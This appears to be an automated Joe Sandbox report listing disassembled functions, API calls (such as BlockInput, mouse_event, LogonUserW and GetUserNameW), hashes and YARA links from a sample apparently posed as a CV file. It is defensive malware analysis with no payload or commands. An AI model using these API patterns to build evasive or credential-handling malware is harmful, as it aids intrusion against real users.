Opcode Fuzzy Hash: d6ff953d64e878191c6320b0d032b1e51eebf917d91c94046ab3cffca200595d
Instruction Fuzzy Hash: 12B1D120D2AF418DD22396398831376BB5CAFFB2D5F91D72BFC1A74D22EB2185834184

Function 003CB6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 003CB6DF

Part of subcall function 003A344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,003CBDC3,00000000,?,?,?,?,003CBF70,00000000,?), ref: 003A3453
Part of subcall function 003A344A: __aulldiv.LIBCMT ref: 003A3473

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Time$FileSystem__aulldiv__time64
String ID:
API String ID: 2893107130-0
Opcode ID: 2275d33629e32d6c60695f890742155eec07a563f760c5993fadb721c8f751f1
Instruction ID: a9a8a0cbed10aa2cd4c00640cbdf8382b43078d4a09a90893eba186ad11ade40
Opcode Fuzzy Hash: 2275d33629e32d6c60695f890742155eec07a563f760c5993fadb721c8f751f1
Instruction Fuzzy Hash: EF2160766345108BC72ACF28C481A52F7E5EB95711B248E7DE4E5CB280CB74AD05DB54

Function 003D6AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 003D6ACA

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: fd1947c175905fa70d339604a4ecc2477d354fe353f72567c54df0c21725a690
Instruction ID: 861af550f9da65d2a11c742fba9ae6b72ce59cf3c71da3226f8810bef482ab19
Opcode Fuzzy Hash: fd1947c175905fa70d339604a4ecc2477d354fe353f72567c54df0c21725a690
Instruction Fuzzy Hash: 39E012762102046FC701EB99D405956B7ECAF64751F058866F955DB391DAB0E8048B90

Function 003C74BB Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000002,00000000,00000000,00000000,00000000), ref: 003C74DE

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: 2dc469f81a368d53133a0e21edb235203bd7b80df59939a09595a6d177235076
Instruction ID: dab109d6e85d3873259ffead76cd9113e7082fcafa3e22fb824010d873186edc
Opcode Fuzzy Hash: 2dc469f81a368d53133a0e21edb235203bd7b80df59939a09595a6d177235076
Instruction Fuzzy Hash: 19D05EA052C30538EC2F0726CC0FF761908F3107C1F82818DBC82D94C1B8905C059B32

Function 003BB106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,003BAD3E), ref: 003BB124

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: a60d47302eb4b5416e5c5ea390b1ce806f57d78e69a1e9ed745eade95ad7e36b
Instruction ID: 7e4330ae4a6fc42007b15a89c37bd6b8b25d96e988a6902d6b706cb85fb01888
Opcode Fuzzy Hash: a60d47302eb4b5416e5c5ea390b1ce806f57d78e69a1e9ed745eade95ad7e36b
Instruction Fuzzy Hash: FCD05E320A460EAEDF024FA4DC02EAE3F6AEB04700F408110FA15D50A0C671D531AB50

Function 003FB340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32 ref: 003FB352

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: b4b08e4a8958c1ad77799cf91608970849a97dfb50cf8eec5c85899accd1f6e9
Instruction ID: c22dc80f904c4a94e742e7410026e26e9aadb7b70b1110f51cafd72d0f77f20d
Opcode Fuzzy Hash: b4b08e4a8958c1ad77799cf91608970849a97dfb50cf8eec5c85899accd1f6e9
Instruction Fuzzy Hash: 99C04CF180054DDFD752CFC0CA449EEB7BCAB08705F1040919249F1110D7709B459B76

Function 003A8189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 003A818F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 773e44196d76e37d0f91e5f4525e3f375294106729bf0de2bc52bae0ffb41a89
Instruction ID: cdca553b68064fbd9e736c1f36847c59dd1211d58687d6fa3e69002d904e1ed5
Opcode Fuzzy Hash: 773e44196d76e37d0f91e5f4525e3f375294106729bf0de2bc52bae0ffb41a89
Instruction Fuzzy Hash: A1A0113000020CABCF002B82EC088883F2CEA002A0B000030FC0C000208B32A8288A8A

Function 003893F0 Relevance: .5, Instructions: 531COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0640add07c37d395bd1b6a2626f1e5bc848ab38ea98471f9ac7434b873135a80
Instruction ID: 4fe769de22d4bc11c1685e1305941443b53345dde6339529c1184c917bf61ee6
Opcode Fuzzy Hash: 0640add07c37d395bd1b6a2626f1e5bc848ab38ea98471f9ac7434b873135a80
Instruction Fuzzy Hash: 76127C70A00609EFDF06EFA5D981ABEB7F9FF48300F148569E406EB251EB35A914CB54

Function 0038E3E3 Relevance: .5, Instructions: 521COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5569346d746e0022abd362a7322305be68b469c42d68b508eae403c9aa83db5d
Instruction ID: 2b9338d23c5df2700368f88122858ac4061a9e12676ce4da1ecb19f8129398d6
Opcode Fuzzy Hash: 5569346d746e0022abd362a7322305be68b469c42d68b508eae403c9aa83db5d
Instruction Fuzzy Hash: E412B070A0430ACFDB26EF54C480ABEB7B1FF15314F1580A9E95AAB351E735AD81CB91

Function 0038AF50 Relevance: .5, Instructions: 514COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Exception@8Throwstd::exception::exception
String ID:
API String ID: 3728558374-0
Opcode ID: c8bb4f92d48ec0abbee75d6081f5a5b98b8961e3b279d344f99280978bc23ba5
Instruction ID: fd30c10dfc92ca42b7825a8a851ae724ece70a0e5359f0fdb87ca05df76dd152
Opcode Fuzzy Hash: c8bb4f92d48ec0abbee75d6081f5a5b98b8961e3b279d344f99280978bc23ba5
Instruction Fuzzy Hash: 4F0290B0A00209DFCF06EF68D991AAEB7B5FF44300F1184A9E906DF255EB35DA15CB91

Function 003A02A4 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction ID: 95452724141efe44ec1dcc2ec8e13ad3c95779637a5ed28ab8545db62d29cb20
Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
Instruction Fuzzy Hash: D7C1A3366051930EDF2F463AC47453EBAA19AA3BB531B076DD8B3CB5D5EF20C524D620

Function 003A06D9 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction ID: 4b84d649e39560dee6ea3d9ce18f49d7946e7f1ca022a29f9ae20ad45a92373f
Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
Instruction Fuzzy Hash: 31C18F322051930EEF6E463AC47453EBAA19EA3BB131B176DD4B3CB5D5EF20D524D620

Function 0039FA57 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction ID: 0296f0b77aebd372d6ff33186b2fba53c7c67554552b781c57e3912e6c97d4bc
Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
Instruction Fuzzy Hash: 2EC16C326091930EDF2F463AC47443EBAA15AA2BB531B077DD8B3CB5E5EF20D564D620

Function 019FD628 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction ID: 4f80848773e6d4af057db59aadf7e3fc732da655b9fea85a228572ed640eaf9d
Opcode Fuzzy Hash: 424b499c86482d5e2cad33d2eb2b77d7085f14ac4781241b47b3debc7e1ef18c
Instruction Fuzzy Hash: 9341D371D1051CEBCF48CFADC991AEEBBF2AF88201F548299D516AB345D730AB41DB80

Function 019FD518 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction ID: 1cd3561e5c2299db7965da93f033e59c011d835a9f3f43674c4e3a639b547633
Opcode Fuzzy Hash: 2824983519b781728331ca74e43d8f1b114060d413125894b627f2317d3cf6f3
Instruction Fuzzy Hash: EF019D78A00209EFCB44DF98C5909AEF7F5FB88314F208699E919A7305D731AE41DB80

Function 019FD4B8 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction ID: 4ecbec78ad0b0fca0604dcb2e517bdaebf419f2c918835d25dc9a6ace6ac4759
Opcode Fuzzy Hash: 6091d3ab8c142cd01bdaf95ad615aaddba634de501579065cef803e1d5150a63
Instruction Fuzzy Hash: F1019D78A00209EFCB48DF98C5909AEF7F5FB88310F208599E909A7745D731AE41DB80

Function 019FBE68 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1707401369.00000000019F9000.00000040.00000020.00020000.00000000.sdmp, Offset: 019F9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_19f9000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction ID: 2052e7d0eb43af8a57a5c2d707c06396f1b84aee57587abda472ed480d51124b
Opcode Fuzzy Hash: e1f80ac41b4fc2d45690e214ca5193b9bf4f67450f61a2a701b7f1fb86cd8f4e
Instruction Fuzzy Hash: 1AB012310527488BC2118B89E008B1073ECA308E04F1000B0D40C07B01827874008D48

Function 003DA2A9 Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 490filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 003DA2FE
DeleteObject.GDI32(00000000), ref: 003DA310
DestroyWindow.USER32 ref: 003DA31E
GetDesktopWindow.USER32 ref: 003DA338
GetWindowRect.USER32(00000000), ref: 003DA33F
SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 003DA480
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 003DA490
CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA4D8
GetClientRect.USER32(00000000,?), ref: 003DA4E4
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 003DA51E
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA540
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA553
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA55E
GlobalLock.KERNEL32(00000000), ref: 003DA567
ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA576
GlobalUnlock.KERNEL32(00000000), ref: 003DA57F
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA586
GlobalFree.KERNEL32(00000000), ref: 003DA591
CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA5A3
OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,0040D9BC,00000000), ref: 003DA5B9
GlobalFree.KERNEL32(00000000), ref: 003DA5C9
CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 003DA5EF
SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 003DA60E
SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA630
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 003DA81D

Strings

AutoIt v3, xrefs: 003DA4D0
, xrefs: 003DA7A3
DISPLAY, xrefs: 003DA680
static, xrefs: 003DA518, 003DA66F

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 55cc8d093c80774f8088f0c40517a2209f53c87e257bbc3274fcd70c84e289ef
Instruction ID: a231889076b41539d88ba053209f8307089f82008f71ef679300faaafdc5048c
Opcode Fuzzy Hash: 55cc8d093c80774f8088f0c40517a2209f53c87e257bbc3274fcd70c84e289ef
Instruction Fuzzy Hash: 7102AD76900204EFDB15DFA4DE89EAE7BB9FB49310F048169F915AB2A0C770DD41CB64

Function 003ED285 Relevance: 49.8, APIs: 33, Instructions: 260COMMON

Download Yara Rule

APIs

SetTextColor.GDI32(?,00000000), ref: 003ED2DB
GetSysColorBrush.USER32(0000000F), ref: 003ED30C
GetSysColor.USER32(0000000F), ref: 003ED318
SetBkColor.GDI32(?,000000FF), ref: 003ED332
SelectObject.GDI32(?,00000000), ref: 003ED341
InflateRect.USER32(?,000000FF,000000FF), ref: 003ED36C
GetSysColor.USER32(00000010), ref: 003ED374
CreateSolidBrush.GDI32(00000000), ref: 003ED37B
FrameRect.USER32(?,?,00000000), ref: 003ED38A
DeleteObject.GDI32(00000000), ref: 003ED391
InflateRect.USER32(?,000000FE,000000FE), ref: 003ED3DC
FillRect.USER32(?,?,00000000), ref: 003ED40E
GetWindowLongW.USER32(?,000000F0), ref: 003ED439

Part of subcall function 003ED575: GetSysColor.USER32(00000012), ref: 003ED5AE
Part of subcall function 003ED575: SetTextColor.GDI32(?,?), ref: 003ED5B2
Part of subcall function 003ED575: GetSysColorBrush.USER32(0000000F), ref: 003ED5C8
Part of subcall function 003ED575: GetSysColor.USER32(0000000F), ref: 003ED5D3
Part of subcall function 003ED575: GetSysColor.USER32(00000011), ref: 003ED5F0
Part of subcall function 003ED575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 003ED5FE
Part of subcall function 003ED575: SelectObject.GDI32(?,00000000), ref: 003ED60F
Part of subcall function 003ED575: SetBkColor.GDI32(?,00000000), ref: 003ED618
Part of subcall function 003ED575: SelectObject.GDI32(?,?), ref: 003ED625
Part of subcall function 003ED575: InflateRect.USER32(?,000000FF,000000FF), ref: 003ED644
Part of subcall function 003ED575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 003ED65B
Part of subcall function 003ED575: GetWindowLongW.USER32(00000000,000000F0), ref: 003ED670
Part of subcall function 003ED575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 003ED698

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
String ID:
API String ID: 3521893082-0
Opcode ID: ea609fe8ebb9e27a0d1e382ff2c8ce419fdedbc6c5d86be236aebde340ccda96
Instruction ID: a1cb3cadcac07727163389b52e987076abd1bb3dd840f26891c71ab452d714c2
Opcode Fuzzy Hash: ea609fe8ebb9e27a0d1e382ff2c8ce419fdedbc6c5d86be236aebde340ccda96
Instruction Fuzzy Hash: 49919271408311BFC7119FA5DD08E6B7BA9FF89325F100B29F962A61E0CB71D948CB56

Function 0039B8FD Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 491windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 0039B98B
DeleteObject.GDI32(00000000), ref: 0039B9CD
DeleteObject.GDI32(00000000), ref: 0039B9D8
DestroyIcon.USER32(00000000), ref: 0039B9E3
DestroyWindow.USER32(00000000), ref: 0039B9EE
SendMessageW.USER32(?,00001308,?,00000000), ref: 003FD2AA
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 003FD2E3
MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 003FD711

Part of subcall function 0039B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,0039B759,?,00000000,?,?,?,?,0039B72B,00000000,?), ref: 0039BA58

SendMessageW.USER32 ref: 003FD758
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 003FD76F
ImageList_Destroy.COMCTL32(00000000), ref: 003FD785
ImageList_Destroy.COMCTL32(00000000), ref: 003FD790

Strings

0, xrefs: 003FD5A5

Memory Dump Source

Source File: 00000000.00000002.1706915956.0000000000381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00380000, based on PE: true

Associated: 00000000.00000002.1706900576.0000000000380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000040D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706959442.000000000042E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1706996719.000000000043A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1707012653.0000000000444000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_380000_CV Lic H&S Olivetti Renzo.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: a491d0527b6ecd53710cc1a3a36618b5ee9465c9d02a181a4289d49fd40193fc
Instruction ID: ebe4ba344be0154d5919071c61d4084b9925176d87e2aabad1b2745536da2177
Opcode Fuzzy Hash: a491d0527b6ecd53710cc1a3a36618b5ee9465c9d02a181a4289d49fd40193fc
Instruction Fuzzy Hash: A712BF30604205EFDB12DF28DA88BB9B7E6FF05304F154569EA89DB662CB31EC45CB91

